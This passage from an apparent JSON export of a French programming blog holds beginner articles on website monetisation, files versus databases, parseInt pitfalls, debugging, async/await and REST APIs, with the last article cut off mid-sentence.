**Donnez une langue gratuite à l'inscription et les langues supplémentaires à l'achat ensuite !**\n\n> Ce modèle est très utilisé dans les jeux vidéos (DLC) et dans les applications mobile !\n\n### Support\n\nDans le cas de logiciels complexes utilisés par des professionnels, et même parfois de logiciels open-source, **il est possible de vendre du support pour un outil à l'origine gratuit.**\n\nBeaucoup d'entreprises sont prêtes à utiliser des logiciels gratuitement, **quitte à payer quelques milliers d'euros pour du support, du conseils, etc...**\n\nTous les projets ne sont pas compatibles avec ce modèle, et il ne faut évidemment pas dégrader la qualité du produit pour simplement vendre du support derrière !\n\n> C'est par exemple le modèle de l'entreprise Red Hat, éditeur de la distribution Linux du même nom, proposant un service de support premium.\n\n## Et d'autres alternatives\n\n### Vente de produits dérivés\n\nCe n'est pas forcément la source de revenu la plus simple et la plus fiable, mais pour les projets basés sur le divertissement et avec une marque forte, **cela peut vous permettre de ramener un peu de chiffre d'affaire sans modifier votre site.**\n\n> Vous pouvez par exemple utiliser la plateforme [Spreadshirt](https://www.spreadshirt.fr) qui gère de la commande à l'envoi pour vous !\n\n### Dons / Crowdfunding\n\nSi votre site rassemble une communauté soudée derrière votre travail, que ce soit pour votre personnalité ou vos productions, il est possible de leur proposer **de vous soutenir grâce à des dons ou des campagnes de crowdfunding**, sur différentes plateformes :\n\n* Projets open-source : Open Collective ([https://opencollective.com/](https://opencollective.com/))\n* Créateur : UTip ([https://utip.io/](https://utip.io/))\n* Crowdfunding : Ulule ([https://fr.ulule.com/](https://fr.ulule.com/))\n\n","Vous voulez gagner de l'argent (ou simplement financer un projet) grâce à vos réalisations sur internet ? Voici ","comment-monetiser-un-site-web-ou-une-application","2022-02-28T07:10:23.000Z","2023-09-19T15:05:44.087Z","2022-02-28T17:35:17.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/02/surface-aWnQDA39C_g-unsplash-1.jpg","Surface sur Unsplash","https://unsplash.com/@surface?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1927,"title":1928,"content":1929,"socialTitle":8,"description":1930,"socialDescription":8,"slug":1931,"createdAt":1932,"updatedAt":1933,"publishedAt":1934,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1935,"coverCopyright":1936,"coverCopyrightLink":1937},347,"Stocker des données dans un fichier ou une BDD ?","**C'est une question que je vois régulièrement revenir chez les développeurs et développeuses juniors** et à laquelle je vais essayer de répondre le plus clairement possible aujourd'hui.\n\nSi la question peut paraitre basique, elle renferme en réalité toutes **les subtilités du fonctionnement interne des différents systèmes de gestion de bases de données**, et leur raison d'exister.\n\n> Pour commencer, voyons ce que l'on peut faire **avec un simple fichier** stocké sur un système d'exploitation.\n\n## Stocker dans un fichier\n\nLorsque l'on prend l'habitude de monter de nouveaux projets rapidement, on en oublie parfois que le stockage de données **peut simplement se résumer à écrire quelques lignes dans un simple fichier.**\n\n> Car après tout, c'est à cela que servent les fichiers depuis leur création, à stocker des données !\n\nQue ce soit manuellement ou de manière programmatique, l'utilisation reste accessible : on ouvre le fichier, on ajoute les données et on le referme. **Simple, efficace, et en général très peu consommateur de ressources.**\n\nEt pour aller plus loin, plusieurs applications (disons plusieurs processus) peuvent même **lire les données simultanément**, et ces dernières peuvent même être formatées en XML, JSON, CSV,... **afin de faciliter la représentation de ces informations !**\n\n> Si vous voulez en savoir plus sur les différents formats de fichiers pour stocker des données, je vous conseille de lire [mon article sur le sujet](https://code-garage.fr/blog/principaux-formats-fichiers-donnees-configuration-json-yaml-toml-xml-ini-csv/).\n\n**Mais alors au final, pourquoi utiliser une base de données ?**\n\n## Utiliser une base de données\n\n### Combien d'informations, et quelle fréquence ?\n\nLes deux principales raisons pour lesquelles vous devez vous orienter vers une base de donnée plutôt que vers une simple fichier sont : **la quantité de données et la fréquence de modification.**\n\nComme vu précédemment, un fichier peut être consulté de manière concurrente, mais non modifié. Dès qu'un fichier est ouvert par un processus, **il est bloqué (on pose un verrou) tant que ce processus n'a pas fini d'écrire.**\n\n**Les bases de données (la majorité d'entre-elles) possèdent des systèmes d'écritures concurrentes** et même des transactions afin de conserver la cohérence des données.\n\n> Si le terme de transaction ne vous est pas familier, je l'explique en détail dans [cet article](https://code-garage.fr/blog/quest-ce-qu-une-transaction-en-base-de-donnees/).\n\nSi un fichier devient trop lourd, ou qu'il est modifié trop souvent, **les performances de votre application peuvent en souffrir.**\n\n### Normalisation, liens logiques et recherche\n\nSi l'on a évoqué le fait que les fichiers peuvent suivre des formats de données, **ça n'en fait pas pour autant des données normalisées et structurées.**\n\nC'est uniquement en ayant recours à un moyen de stockage plus complexe comme une base de données, que l'on va être capable de **faire des liens logiques entre les informations et surtout effectuer des recherches complexes sur les dernières (requêtes)**, ce qui va donner une valeur bien plus intéressante à vos données !\n\nLes informations ci-dessus sont surtout valables pour les bases de données dîtes \"relationnelles\", mais **elles peuvent également être appliquées dans certains modèles non-relationnels.**\n\n> Si vous voulez apprendre à choisir entre une base de données \"SQL\" ou \"NoSQL\", [j'ai un article qui devrait vous aider](https://code-garage.fr/blog/comment-choisir-entre-sql-et-nosql/) !\n\n## Un exemple concret\n\nIl y a quelques années un très bon exemple démontrant **une mauvaise utilisation d'un simple fichier** afin de stocker des données est apparu dans le monde du jeu vidéo.\n\nLe jeu \"GTA Online\" souffrait de temps de chargements anormalement longs au lancement initial du jeu. Après quelques recherches un \"[hacker](https://code-garage.fr/blog/la-vraie-signification-du-terme-hacker/)\" a réussi à réduire de 70% le temps de chargement, **simplement dû à un fichier de configuration JSON qui pesait... 10Mo et contenant plus de 60000 objets.**\n\nLa lecture et le \"parsing\" de ce fichier était devenu bien trop lourd, et plus suffisamment optimisé, pour l'application d'origine.\n\n::: bookmark\n[![](https://cdn.arstechnica.net/wp-content/uploads/2021/03/gtaoload-760x380.jpg)Hacker reduces GTA Online load times by roughly 70 percent](https://arstechnica.com/gaming/2021/03/hacker-reduces-gta-online-load-times-by-over-70-percent/)\n:::\n\n> La prochaine fois, une simple base [SQLite](https://www.sqlite.org/index.html) pourra faire l'affaire !\n\n## En résumé\n\n**Avec un fichier :**\n\n* On stocke des données\n* On peut **lire simultanément**\n* On peut **formater** les données\n* C'est **facile** d'utilisation et consomme (normalement) peu de ressources\n\n**Avec une base de données :**\n\n* On stocke une plus **grande quantité** de données\n* On peut **lire ET écrire de manière concurrente**\n* On peut effectuer des **recherches (requêtes)** beaucoup plus complexes et optimisées\n* On peut **normaliser et lier** les données entre-elles\n\n","Est-ce nécessaire de stocker systématiquement vos données dans une base de données ? Quand est-ce qu'un simple fichier est suffisant ?","stocker-des-donnees-dans-un-fichier-ou-une-bdd","2022-03-02T07:21:20.000Z","2024-04-03T14:58:38.130Z","2022-03-02T08:41:03.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/03/jubal-kenneth-bernal-uvdhVGaeem4-unsplash.jpg","Jubal Kenneth Bernal sur Unsplash","https://unsplash.com/@jubalkenneth?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1939,"title":1940,"content":1941,"socialTitle":8,"description":1942,"socialDescription":8,"slug":1943,"createdAt":1944,"updatedAt":1945,"publishedAt":1946,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1947,"coverCopyright":1948,"coverCopyrightLink":1949},348,"L'erreur à éviter avec la méthode parseInt en JS","Besoin de récupérer la valeur entière d'un nombre en Javascript et vous êtes habitué.e à utiliser la méthode parseInt ?\n\n**Je vais vous faire découvrir le vrai danger de cette méthode si elle n'est pas utilisée correctement** et les conséquences que cela peut avoir sur le fonctionnement logique de votre application !\n\n## Problème\n\nBeaucoup de développeurs et développeuses pensent que la méthode parseInt permet de **récupérer la valeur entière d'un nombre, ce qui est vrai, mais seulement en partie.**\n\nLe terme \"parse\" signifie en français \"analyse\", et n'est pas à négliger car cette méthode n'est pas censé transformer un nombre, **mais analyser et extraire un nombre à partir d'une d'une chaine de caractère**, puis n'en garder que la partie entière, comme ceci :\n\n```\nparseInt(\"0.5\", 10);\n//$> 0 (SUCCESS)\n\nparseInt(\"0.0000005\", 10);\n//$> 0 (SUCCESS)\n```\n\nMais comme Javascript est dynamiquement typé, si on lui passe un paramètre de type \"number\", il le transformera en chaine de caractère avant de le \"parser\". **Pas optimisé, mais cela fonctionne :**\n\n```\nparseInt(0.5, 10);\n//$> 0 (SUCCESS)\n```\n\nEn réalité, cela ne fonctionne pas toujours, **et c'est là qu'arrivent les problèmes :**\n\n```\nparseInt(0.0000005, 10);\n//$> 5 (FAIL)\n```\n\n**Pourquoi la méthode parseInt renvoie le bon résultat avec 0.5 mais pas avec 0.0000005 ?** C'est justement à cause de la conversion dynamique \"number\" -> \"string\".\n\nLe type \"number\" en Javascript optimise la gestion de certains nombres **en utilisant la notation scientifique.**\n\n> Le nombre 0.0000005 devient alors 5e-7\n\nLa conversion automatique revient alors a appeler la fonction de cette manière :\n\n```\nparseInt(\"5e-7\", 10);\n//$> 5\n```\n\n**Et comme on demande la partie entière, parseInt va seulement renvoyer la partie entière gauche du chiffre trouvé, soit 5 au lieu de 0**.\n\nOn retrouve le même problème avec les très grands multiples de 10, exemple :\n\n```\nparseInt(1000000000000000000000, 10);\n//$> 1\n```\n\n## Solution 1\n\nLa première solution que je vous conseille, est de passer systématiquement par du TypeScript.\n\nEn effet, [la spécification de la méthode](https://tc39.es/ecma262/multipage/global-object.html#sec-parseint-string-radix) parseInt(string, radix) **indique bel et bien que le premier paramètre doit strictement être une chaine de caractères**, mais comme le Javascript est typé dynamiquement, le code s'exécute quand même.\n\nEn passant par du TypeScript, le compilateur (ou le l'extension IDE) **vous indiquera que l'appel de cette méthode avec un paramètre de type \"number\" est illégal**, et vous évitera de mauvaises expériences !\n\n> Si vous ne connaissez pas (ou peu) le TypeScript, voici [un article](https://code-garage.fr/comprendre-ce-qu-est-typescript-et-comment-l-utiliser/) dans lequel je vous explique ce langage de manière simple.\n\n## Solution 2\n\nComme l'indique [la documentation de Mozilla](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt), la méthode parseInt **ne doit jamais être utilisée en substitution de la méthode Math.floor, qui elle, prend en paramètre un nombre.**\n\nPour utiliser l'une ou l'autre méthode selon le type du paramètre, vous pouvez utiliser la méthode typeof() **pour récupérer le type et utiliser la bonne méthode, comme dans l'exemple ci-dessous :**\n\n```\nfunction toInt(n){\n if(typeof(n) === \"number\"){\n \treturn Math.floor(n);\n } else if(typeof(n) === \"string\") {\n \treturn parseInt(n, 10);\n } else {\n \tthrow new Error(\"...\");\n }\n}\n```\n\n> _J'espère que cet article vous aura été utile, et à bientôt sur le blog._\n\n","Utilisez-vous vraiment les bonnes méthodes pour récupérer un nombre entier en Javascript ?","lerreur-a-eviter-avec-la-methode-parseint-en-js","2022-03-04T08:36:00.000Z","2023-09-19T15:05:44.144Z","2022-03-07T07:24:47.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/03/mick-haupt-3UbsiRcrFV4-unsplash.jpg","Mick Haupt sur Unsplash","https://unsplash.com/@rocinante_11?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1951,"title":1952,"content":1953,"socialTitle":8,"description":1954,"socialDescription":8,"slug":1955,"createdAt":1956,"updatedAt":1957,"publishedAt":1958,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1959,"coverCopyright":1960,"coverCopyrightLink":1961},349,"Le guide pour apprendre à débugger du code","L'une des premières frustrations dans le développement est de **rester bloqué pendant pendant de longues minutes (heures)** sur une défaillance de notre code, parfois appelé \"bug\".\n\n> Si vous voulez savoir pourquoi je ne recommande pas l'utilisation du terme bug, je vous recommande la lecture de [mon précédent article](https://code-garage.fr/blog/qu-est-ce-qu-un-bug/).\n\nToujours est-il que c'est une étape incontournable dans la vie d'un développeur ou d'une développeuse et que la recherche et **la correction de dysfonctionnements dans notre code est une compétence très importante pour gagner en autonomie.**\n\nJ'ai donc essayé de vous construire un guide pour apprendre à trouver les bugs, les comprendre et les corriger, étape par étape :\n\n## Étape 1 : Comprendre\n\n### Lire les erreurs\n\nDans la majorité des cas, lire l'erreur (la lire vraiment) et prendre le temps de l'analyser va vous permettre de la corriger très rapidement car le système (compilateur, interpréteur, environnement) **va essayer de vous donner un maximum d'infos sur la défaillance en question.**\n\n#### Exemple SQL\n\n```\nSELECT * FROM movie WHERE title=`Mad Max`;\n--ERROR 1054 (42S22) at line 1: Unknown column 'Mad Max' in 'where clause'\n```\n\n**Ici tout nous est donné, la ligne, la position exacte et le type d'erreur (1054 -> Syntaxe) et la raison de l'erreur (Unknown column).** En lisant attentivement, Mad Max devrait être une valeur, or elle est encadrée par des \\`backticks\\` au lieu des 'simple quotes' attendues pour les valeurs.\n\n> MySQL l'interprète donc comme une colonne, d'où l'erreur !\n\n#### Exemple Java\n\n```\nException in thread \"main\" java.nio.file.NoSuchFileException: players.dat\n at sun.nio.fs.WindowsException.translateToIOException(Unknown Source)\n at sun.nio.fs.WindowsException.rethrowAsIOException(Unknown Source)\n // ... more stack trace\n at java.nio.file.Files.readAllLines(Unknown Source)\n at java.nio.file.Files.readAllLines(Unknown Source)\n at Exceptions.getPlayers(Exceptions.java:12) \u003C-- Exception arises in getPlayers() method, on line 12\n at Exceptions.main(Exceptions.java:19) \u003C-- getPlayers() is called by main(), on line 19\n```\n\nMême chose en Java, où lorsqu'une exception est lancée, toute la stacktrace (la pile d'exécution) ayant conduit à l'erreur est affichée. Autant d'infos peuvent faire peur, mais en réalité si l'on décortique tout ça, **toutes les informations nécessaires sont là.**\n\n> À priori la méthode \"getPlayers\" devait ouvrir un fichier qui n'existe pas (ou a été déplacé, renommé), ce fichier porte le nom de \"players.dat\".\n\n#### Exemple Javascript\n\n```\nUncaught TypeError: undefined is not a function example_app.js:7\nExampleApp.initialize example_app.js:7\n(anonymous function)\n```\n\nComme en Java, l'interpréteur JS va nous donner la stacktrace qu'il faut examiner, et découvrir **quelle fonction appelée peut se retrouver comme étant undefined dans notre script.**\n\n> Une dépendance mal chargée, un objet vide, etc... Au moins vous avez les clés pour savoir où chercher !\n\n#### Pas d'erreur ?\n\nIl se peut que le dysfonctionnement de votre logiciel n'entraine pas d'erreur mais seulement un état invalide de ce dernier, alors **c'est que votre logiciel ne spécifie pas suffisamment ses attentes et ne vérifie pas assez les données en entrée et en sortie.**\n\nVous devrez alors ajouter des conditions, des try-catch afin de créer vous même vos propres erreurs et **éviter que l'état non-valide reçu ne soit pas redirigé dans le chemin d'exécution classique de votre application.**\n\n### Reproduire\n\nArriver à reproduire une défaillance est indispensable car **c'est le seul moyen que vous aurez pour récupérer suffisamment d'informations** afin de trouver une solution, mais également de vérifier, tester, que votre solution fonctionne comme prévu.\n\n> Pour reproduire un bug, il faut arriver à retrouver l'état dans lequel était votre logiciel au moment où ce dernier est apparu.\n\nCet état est représenté par :\n\n* **La version de votre code** à un instant T\n* **L'environnement** dans lequel tourne votre logiciel (Version de l'OS, matériel, RAM et espace disque disponible, etc...)\n* **Les opérations** précédemment effectuées\n* **Les données passées** à votre code lors de la défaillance.\n\nEn rassemblant un maximum de ces données, vous devriez être en mesure de remettre l'application (autant que possible) **dans le même état invalide et reproduire le bug.**\n\n#### Pas de reproduction\n\nDans le cas où vous n'arriveriez pas à reproduire la défaillance, cela signifie que **vous n'avez pas mis en place suffisamment d'outils pour analyser votre application.**\n\nPour cela, pensez à mettre en place :\n\n* Un **versioning** précis de votre code (indispensable)\n* Un système de **sauvegarde des exceptions**\n* Un **ensemble de logs** pour votre application\n* Un **monitoring** de votre environnement\n\n> Et attendez que la défaillance se représente, vous aurez alors suffisamment d’infos pour la détecter et la reproduire sans problème.\n\n#### Reproduction intermittente\n\nSi jamais vous n'arrivez pas à reproduire le \"bug\" de manière régulière mais seulement par intermittence (même en injectant les mêmes données), alors le problème est sûrement induit **par un facteur externe à votre logiciel, par votre environnement (des autorisations manquantes, le réseaux, l'espace disque, l'horodatage du système, etc...).**\n\n### Isoler\n\nCe n’est pas parce que vous avez réussi à reproduire un dysfonctionnement que vous comprenez ce qui cloche exactement. **Dans certains cas, le problème est si inhabituel que l’on arrive même pas à  mettre le doigt sur une possible cause.**\n\n> Pour avancer dans votre  recherche, vous allez devoir isoler le dysfonctionnement.\n\nPour l’instant vous avez simplement une application défectueuse, mais l’objectif est d’**isoler le plus précisément le fichier, la classe, la fonction, ou l’opération qui pose problème.**\n\nPour cela, suivez pas à pas le fil d’exécution de votre application (avec un débugueur, des exceptions ou à défaut une série de logs) afin de **remonter à l’opération précise où le résultat de sortie ne correspond pas au comportement théorique et aux données d’entrée.**\n\n> Dans l’idéal, vous vous retrouverez avec une ligne précise qu’il vous faudra analyser et inspecter de manière rigoureuse.\n\n### Analyser / Cadrer\n\nMaintenant que vous avez réussi à isoler le problème, vous allez pouvoir essayer de le tordre pour en apprendre un peu plus, et surtout essayer de **multiplier le nombre d’états défectueux que vous arrivez à générer.**\n\nUn exemple : Une fonction qui transforme un entier ne renvoie pas le bon résultat lorsque l’on lui passe en paramètre le chiffre 0. Pour cadrer ce dysfonctionnement et comprendre ces limites, **on pourra tester à cette fonction des paramètres étant plus susceptibles de provoquer une erreur  comme : 0.1, -0.1, 1, -1, null, etc...**\n\n> Si vous arrivez à cadrer votre problème, il sera plus facile de poser des hypothèses éclairées.\n\n### Faire des hypothèses\n\nLes hypothèses sont des questions ciblées auxquelles vous n’avez pas encore la réponse, mais dont l’une d’entre-elle devraient vous menez à la bonne piste, **soit en analysant votre code, en cherchant vous-même la réponse ou en allant demander de l’aide.**\n\n> Exemple : lorsque je m’inscris, je ne reçois pas d’emails, même si toutes mes données sont envoyées dans le SDK du service d’envoi de mail.\n\nHypothèses et moyens de les vérifier :\n\n* L’email arrive peut-être dans les spams => **Vérifier moi-même**\n* L’email n’est peut-être jamais envoyé => **Vérifier sur la plateforme du service d’envoie de mail**\n* Le service est peut-être temporairement down => **Idem**\n* Est-ce que j’utilise la bonne méthode du SDK => **Documentation**\n* Pourquoi je ne reçois pas d’erreur ? => **Forum d'entraide**\n* ...\n\n## Étape 2 : Rechercher\n\n### Expliquer\n\nPour toutes les hypothèses auxquelles vous n’aurez pas pu répondre par vous même, il faudra faire des recherches, ou demander de l’aide. Pour les recherches vous aurez besoin **des meilleurs mots-clés/requêtes**, et pour de l’aide vous aurez besoin de **l’explication la plus claire et complète du problème possible.**\n\nL’une des meilleures méthodes pour expliquer un problème correctement est de passer par une phase de « rubber duck debugging ». **Cela consiste à expliquer votre problème à un canard en plastique posé sur votre bureau.**\n\nCette méthode vous forcera à expliquer votre problème de manière claire, en enlevant les détails inutiles et vous permettra même parfois de trouver le solution par vous même, **car votre cerveau pourra détecter les informations incohérentes que vous pourriez verbaliser à haute voix.**\n\n**Dans le cas contraire, cela vous permettra de préparer votre discours pour demander de l’aide à un.e collègue**, sur un forum, etc... et justement, c’est le prochain sujet.\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/08/jonathan-kemper-1nGxy0Mh8eA-unsplash.jpg)Qu’est-ce que le «Rubber Duck Debugging» ? - Nicolas Brondin-Bernard](https://code-garage.fr/blog/quest-ce-que-le-rubber-duck-debugging/)\n:::\n\n### Trouver de l'aide\n\nDans l'ordre, vous pouvez trouver de l'aide :\n\n* Dans la **documentation**\n* Sur **Github** (pour les projets open-source)\n* **StackOverflow**/Forums\n* Google/**Blogs**/Sites\n* **Groupes d'entraides**/Slacks/Discords\n* **Collègues**/Pairs/Experts\n\n> Si vous voulez savoir pourquoi cet ordre spécifique, et quels sont les bonnes manières d'aborder la recherche d'aide, je vous invite à lire cet article :\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2022/04/mona-eendra-M0iW8qbqiOQ-unsplash.jpg)Où trouver une réponse à un problème de code ? - Blog - Code-Garage](https://code-garage.fr/blog/la-bonne-methode-pour-trouver-une-reponse-a-un-probleme-de-code/)\n:::\n\n## Étape 3 : Corriger\n\n### Implémenter\n\nEst-ce que j'ai vraiment besoin de détailler cette partie ?\n\n> Copiez-collez (non). Réécrivez, adaptez et surtout comprenez ce que vous faites !\n\n### Tester\n\nOn a vite tendance à arrêter la phase de « debugging » après l’implémentation du correctif, mais en réalité **les phases qui suivent sont les plus importantes, et celles qui apportent le plus de valeur à votre code.**\n\nTestez manuellement votre modification avec plusieurs cas de tests valides et invalides est un minimum, **mais pour être serein sur la pérennité de votre logiciel, mettez en place des tests automatisés.**\n\n### Ajuster / Nettoyer\n\nUne fois que votre code est implémenté et testé, vous pouvez passer à **la phase de nettoyage : enlever les logs, éventuellement du code superflu, etc...**\n\nMais vous pouvez aussi rendre votre code plus performant, plus lisible, **plus adapté, tout en étant sûr d'éviter toute régression grâce à vos tests !**\n\n### Documenter\n\nIl arrive qu'une erreur soit simplement une faute d'inattention, alors cette étape n'aura pas forcément de grand intérêt.\n\nMais si le dysfonctionnement vient d'un problème de calcul, d'une imprécision dans la documentation d'un outil, d'**une bizarrerie de la logique métier dans laquelle vous travaillez, le mieux est de documenter votre solution.**\n\nÇa peut-être un simple commentaire, des informations dans un README ou bien une entrée dans une base de connaissances interne à l'entreprise, **mais pensez à ne pas sauter cette étape, elle vous sauvera peut-être la vie dans 6 mois.**\n\n> _J'espère que cet article vous aura été utile, et à bientôt sur le blog._\n\n","Trouver et corriger une défaillance dans du code s'apprend avec l'expérience, mais voici de quoi vous faire gagner du temps !","le-guide-pour-apprendre-a-debugger-du-code","2022-03-04T12:34:23.000Z","2023-09-19T15:05:44.180Z","2022-03-08T08:07:41.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/03/walkator-klMii3cR9iI-unsplash.jpg","Elisa Ventur sur Unsplash","https://unsplash.com/@elisa_ventur?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1963,"title":1964,"content":1965,"socialTitle":8,"description":1966,"socialDescription":8,"slug":1967,"createdAt":1968,"updatedAt":1969,"publishedAt":1970,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1971,"coverCopyright":1972,"coverCopyrightLink":1973},360,"Comprendre async/await en Javascript","> **Pour comprendre cet article, vous devez connaitre les bases des Promise en Javascript.** Si ce n'est pas le cas, consultez [mon précédent article](https://code-garage.fr/blog/javascript-les-promises-expliquees-aux-debutants/) !\n\nPour rappel, une promesse est **une sorte de callback générique pour le retours de fonctions asynchrones.** C'est l'équivalent d'une fonction avec seulement deux possibilité de sortie : Le succès (resolve), ou l'échec (reject).\n\nVoici un exemple de gestion de promesse sans async/await :\n\n```js\nfunction example(url){\n fetch(url).then((response)=>{\n return response.json();\n }).then((data)=>{\n console.log(data);\n }).catch((e)=>{\n alert(e);\n });\n}\n```\n\nEt la version avec async/await :\n\n```\nasync function(url){\n try {\n const response = await fetch(url);\n const data = await response.json();\n console.log(data);\n } catch(e){\n alert(e);\n }\n}\n```\n\nEn regardant les exemples au-dessus, on comprends vite **l'intérêt d'utiliser async/await : la lisibilité/simplicité du code.**\n\nEt plus les chaines de promesses sont imbriquées, **plus la simplification du code est grande !**\n\n> Mais au final,quels sont les rôles exacts de chacun des mots-clés ? C'est ce que nous allons voir !\n\n## Async\n\nLa directive async est utilisée pour spécifier que la fonction en question **possède un fonctionnement asynchrone.**\n\nPlus précisément, lorsque vous ajoutez le mot-clé \"async\" devant une fonction, **vous forcez cette fonction à retourner une promesse**, quel que soit le contenu de cette fonction.\n\nExemple :\n\n```\nasync function example1(){\n return 0;\n}\n```\n\nest l'équivalent de\n\n```js\nfunction example2(){\n return new Promise((resolve, reject)=>{\n resolve(0);\n });\n}\n```\n\n> L'exemple utilisé ci-dessus n'a pas d'intérêt fonctionnel, mais démontre l'effet de la directive\n\nMême avec une fonction synchrone, on force la fonction dans un mode asynchrone **en enrobant son contenu dans une promesse.**\n\nD'ailleurs, vous pouvez vérifiez en examinant le retour de la fonction async une fois exécutée :\n\n```js\nconsole.log(example1());\n// $> Promise { 0 }\n```\n\n> Mais pourquoi forcer une fonction à retourner une promesse ?\n\n**Pour pouvoir utiliser une directive qui fonctionne UNIQUEMENT avec des promesses** :  le mot-clé \"await\" !\n\n## Await\n\nCette directive permet simplement de capturer une promesse en cours de traitement, de bloquer l'exécution en attendant la résolution de cette dernière.\n\n**Une fois résolue, la valeur reçue sera retournée**, pourra être stockée (ou non) et l'exécution pourra continuer. **Si la promesse est rejetée, alors l'erreur sera envoyée** au prochain bloc de capture des exceptions (catch).\n\n> En résumé, await permet **de passer d'un fonctionnement asynchrone vers un fonctionnement synchrone.**\n\nComme pour async, voici un code équivalent à await :\n\n```\n// avec await\ntry {\n const user = await signup(...);\n return user;\n} catch(e){\n ...\n}\n\n```\n\nsans await\n\n```js\ntry {\n const user, error;\n signup.then((data)=>{\n \tuser = data;\n }).catch((e)=>{\n \terror = e;\n });\n while(!user && !error){\n //waiting loop\n }\n return user;\n} catch(e){\n ...\n}\n```\n\n> Comme l'exemple précédent, celui-ci est purement théorique\n\nVous l'aurez compris, l'impact sur le code est de **bloquer l'exécution et éviter la gestion d'opération en parallèle**, lorsque ces dernières n'ont pas besoin de l'être.\n\nMais il faut faire attention, si vous rendez synchrone des opérations qui auraient pu se dérouler en parallèle, **alors vous pourrez ralentir votre exécution de manière significative**, comme expliqué dans cet article :\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/06/nadine-shaabana--M_f3f8DGRg-unsplash.jpg)Javascript : ce que vous ne devez pas faire avec async/await - Blog - Code-Garage](https://code-garage.fr/blog/javascript-ce-que-vous-ne-devez-pas-faire-avec-async-await/)\n:::\n\n**À noter qu'async/await est [supporté à 92%](https://caniuse.com/?search=async) par les navigateurs actuels**, et n'est pas supporté par Internet Explorer.\n\n","Les mots-clés async et await permettent une simplification de l'utilisation des promesses en Javascript, mais quel est leur fonctionnement ?","comprendre-async-await-en-javascript","2022-04-02T15:07:35.000Z","2023-10-02T09:24:10.209Z","2022-04-11T07:32:06.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/04/rafael-de-nadai-UMNZ9s2rIHE-unsplash.jpg","Rafael De Nadai sur Unsplash","https://unsplash.com/@rafaelnadai?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1975,"title":1976,"content":1977,"socialTitle":8,"description":1978,"socialDescription":8,"slug":1979,"createdAt":1980,"updatedAt":1981,"publishedAt":1982,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1983,"coverCopyright":1984,"coverCopyrightLink":1985},384,"Qu'est-ce qu'une API REST ?","Commençons par rappeler ce qu'est une API : une \"Application Programming Interface\" est **un ensemble de fonctionnalités disponibles au travers d'une couche d'abstraction simplifiée** et permettant de développer un logiciel grâce à la \"consommation\" de cette dernière.\n\n> Si vous voulez en savoir plus sur les APIs, [notre article API vs SDK est toujours en ligne](https://code-garage.fr/blog/quelles-differences-entre-api-et-sdk/) !\n\nCette définition est valable pour les APIs REST, GraphQL, SOAP, etc... **Mais qu'est-ce qui différencie une API Rest des autres ?**\n\nC'est ce que nous allons voir ensemble !\n\n## Les caractéristiques d'une API Rest\n\n### Conçu pour le web\n\nCertaines API sont mises à disposition par le système d'exploitation, par le navigateur, **et d'autres par des serveurs disponibles sur Internet.**\n\nLe concept de REST est basé sur le protocole HTTP, **il est donc indissociable d'Internet, et plus précisément du web.**\n\n> Bien sûr une API REST peut être consommée depuis n'importe quel système ou langage, le seul prérequis est la possibilité d'effectuer des requêtes HTTP\n\n### État vs Transactions\n\nPour commencer, il faut savoir que \"REST\" signifie \"**Representational State Transfer**\", et cette définition n'est pas vide de sens.\n\nCertaines APIs (SOAP et GraphQL par exemple) proposent **une abstraction basée sur des transactions**, comme ceci :\n\n\\- listArticle() \n\\- createOrUpdateArticle(data) \n\\- deleteArticle(Id)\n\n> Ici le terme transaction est un synonyme d'un ensemble d'opérations, de fonctions exécutées dans un certain ordre\n\n**Alors que REST est basé sur la représentation directe des données**. Au lieu d'exposer les transactions disponibles, elle expose des ressources sous la forme d'URL afin de représenter l'état des données.\n\nExemple :\n\n* GET /articles (Retourne tous les articles)\n* GET /articles/1 (Retourne les détails de l'article 1)\n* POST /articles (Créé un nouvel article et le retourne)\n* PUT /articles/1 (Modifie l'article 1 et retourne l'article modifié)\n* DELETE /articles/1 (Supprime l'article 1)\n\n> Ici on peut voir que chaque appel n'affectera que la ressource en question, et que chaque méthode pour mettre à jour une ressource est indépendante.\n\nPar exemple pour recréer le même comportement que la transaction précédente createOrUpdateArticle(data) , alors il faudra un appel GET, puis un appel POST ou PUT.\n\n> Voilà pourquoi on parle de représentation des données, et non pas de transactions pour une API REST.\n\n## Les règles d'une API RESTful\n\nSi l'on résume le concept d'API REST, c'est u**ne API qui permet de récupérer et modifier des ressources grâce à des appels et des méthodes HTTP.**\n\n> Mais pour aller plus loin et concevoir une API RESTful normalisée, il existe **6 règles à respecter**.\n\n**Si et seulement si ces contraintes architecturales sont respectées, on parlera alors d'API RESTful**. Voici les 6 contraintes à respecter pour concevoir une API dans les règles de l'art :\n\n### 1 - Interface uniforme\n\n**Une interface uniforme signifie que chaque appel à l'API aura la même forme**, que chaque type d'appel doit avoir le même comportement et que chaque réponse sera formulée de la même manière.\n\n**Cette uniformisation porte principalement sur la manière dont chaque ressource est ciblée, comment les données sont transmises** et quelles opérations leurs sont appliquées.\n\nVoici les points importants à respecter :\n\n#### 1.1 - URI = Ressource\n\n**La partie la plus importante d'une requête, c'est la ressource, elle est représentée par l'URI** (Unique Ressource Identifier) et peut contenir des paramètres pour spécifier une ressource précise.\n\nExemple :\n\n* /houses => La liste de toutes les maisons\n* /houses/1 => Les détails de la maison n°1\n* /houses/1/rooms => La liste des pièces de la maison 1\n* /houses/1/rooms/1 => Les détails de la première 